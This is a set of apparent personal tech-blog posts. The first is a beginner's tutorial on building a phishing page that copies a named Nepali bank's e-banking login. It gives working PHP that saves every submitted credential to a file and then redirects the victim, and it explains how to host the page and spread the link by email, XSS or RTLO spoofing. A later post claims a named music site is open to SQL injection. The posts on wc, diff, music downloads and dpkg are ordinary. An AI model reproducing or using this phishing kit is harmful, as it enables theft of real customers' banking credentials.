Making a fake login page [tutorial on phishers for beginners]

This tutorial will give you basic idea of what phishers are and how to create a simple phisher. Please be sure to comment on this post.

A phisher is a fake login page used to gain access to someones account. When someone logs into
the fake login page, there password is sent to you in some way such as by email or by writing to the files in the webserver. The major attacks of the phishing are the email accounts and e-commerce sites so this method is widely used to steal the critical information from the users.

Now, I'll show you how to make a successful phisher by giving an example by creating the phishing page of e-Banking of Nepal Investment Bank Limited.
a) We open the login page of our target site and save the page in our HDD by going to File->Save As from Firefox.

b) You'll have a HTML page and the folder containing the required images, css and javascript files for the HTML page.

c) Create a file like passes.txt or whatever where you'll store all the passwords from the phishing page. Note that you'll have to chmod this file to writable(like chmod a+w filename or chmod 777 filename according to the permission you want).

d) Now create a PHP file called phisher.php and paste the code below:

<?php
header("location:https://www.nibl.com.np/BankAwayRetail/sgonHttpHandler.aspx?Action.RetUser.Init.001=Y&AppSignonBankId=004&AppType=retail");
$fp = fopen("passes.txt","a");

foreach ($_REQUEST as $var => $val)
{
    fwrite($fp, $var." = ".$val."\r\n");
}
fwrite($fp,"\r\n");
fclose($fp);
?>

e) Your phishing PHP script is ready. Now time for editing the HTML source of your target login page. Open the HTML source in text editor and search for the text <form in my case(&usually) and in the action field specify the name of your PHP script like:

<form action="phisher.php" method="POST" name="RetailSignOn">

f) Now, our phisher is ready and all you have to do is upload the phisher.php and the HTML source and its related folder to free webhosting (I use t35.com). Be sure to create passes.txt and set proper permission in the webserver.

g) Now, all you have to do is send the link of your phisher to the users by emailing, forum boards, XSS methods or by RTLO spoofing or any other method you can work creatively.

Now, if you want to stop these phishers, you might want to submit the phisher links you find on the internet to www.phishtank.com.

I hope you learn something from this phishing tutorial. Have fun. :)

Comparing two files under LINUX [Basic Linux Command - Part II]

In this post, I am going to introduce you the methods of comparing two files in LINUX and is the second article on the basic linux commands following the previous post.

For comparing two files, we can follow two step task. The first step would be counting the number of lines, words and characters in the two files. After this, we would be interested to check the difference in the lines.

We use wc command to find the newline(giving count for number of lines), word and byte counts for the specified file (or the standard input if any file is not specified.

Let me take an example of the following test.c file on which I will perform wc command.

---------test.c----------

#include <stdio.h>
int main (int argc, char *argv[])
{
    printf("SAMAR\n");
    return 0;
}

samar@samar-laptop:~/Desktop$ wc test.c
6 13 88 test.c

So this file contains 6 lines, 13 words and 88 characters (actually bytes).
You can specify the multiple files at once with this command such as:

samar@samar-laptop:~/Desktop$ wc test.c test.cpp
6 13 88 test.c
9 18 112 test.cpp
15 31 200 total

This way, you can calculate and compare the lines, words and characters count between two files. Now, we will look on the way of comparing files line by line and seeing the difference in the line.

The diff command allows us to display the line-by-line difference between two files.

Lets view the content of two files 1.txt and 2.txt, then we will be issuing diff command to see the difference between these files line-by-line.

samar@samar-laptop:~/Desktop$ cat 1.txt
www.techgaun.blogspot.com
samar dhwoj acharya

samar@samar-laptop:~/Desktop$ cat 2.txt
www.techgaun.blogspot.com
saurya dhwoj acharya
my brother

samar@samar-laptop:~/Desktop$ diff 1.txt 2.txt
2c2,3
< samar dhwoj acharya
---
> saurya dhwoj acharya
> my brother

In the output, the lines in first file are identified with less than sign and lines in the second file are identified with greater than sign. This is how you can see the lines where two files differ with each other. Further, we have sdiff command which will allow you to merge the file differences side by side and view the differences easily. I'll let you explore this command on your own. Also, if you want case-independent comparison with diff command, you can use -i parameter.

Also, I would be more than happy if you try to learn other commands such as cmp on your own.

Hope you learn something from this. Have fun and Happy Vijaya Dashami. :)

Download the Nepali songs from www.nepalicollections.com

This might be a minor hack but for some nepali music fans, it can be a great honeypot. I didn't see any option in the webpages to download the nepali mp3 songs available at www.nepalicollections.com so had to go with the alternative way when I needed to download tapoban maajha song of Jagadish Samal from this site.

For downloading mp3s from this site, you'll need to install the Downloadhelper firefox addon which I've already discussed in this blog.

Now after you downloaded this addon, go to NepaliCollection Music page and select among the artists available in the artists tab. After selecting the artists, you'll reach to the page with all the songs of that artist.

Now you can select the song you want to download and when you click on play selected option, the Downloadhelper icon will start to animate. Now click on that icon and you will be able to save the MP3 that is currently playing. This site has some really old songs too and the songs that you can't find usually. So its worth trying this trick.

Edit*: The site is vulnerable to SQL injection, maybe I might be writing some PHP script to easily give the download link of any MP3 the user wants to download. Needs some research over the vuln in the site, though.

Have fun with this trick. :)

Installing .deb package in ubuntu with dpkg

You can use dpkg, a command line tool to manage the packages, in order to install .deb packages in your ubuntu linux distro.

dpkg is a tool to install, build, remove and manage Debian packages. The primary and more user-friendly front-end for dpkg is aptitude. dpkg itself is controlled entirely via command line parameters, which consist of exactly one action and zero or more options. The action-parameter tells dpkg what to do and options control the behavior of the action in some way.

In order to install the .deb package, you need to use -i parameter with the dpkg command as below:

cd /home/samar/Downloads/

sudo dpkg -i skype-ubuntu-intrepid_2.1.0.81-1_amd64.deb

Also, you can install the multiple packages directly by issuing the command as below:

cd /home/samar/Downloads/

sudo dpkg -i *.deb

Hope this helps you. :)
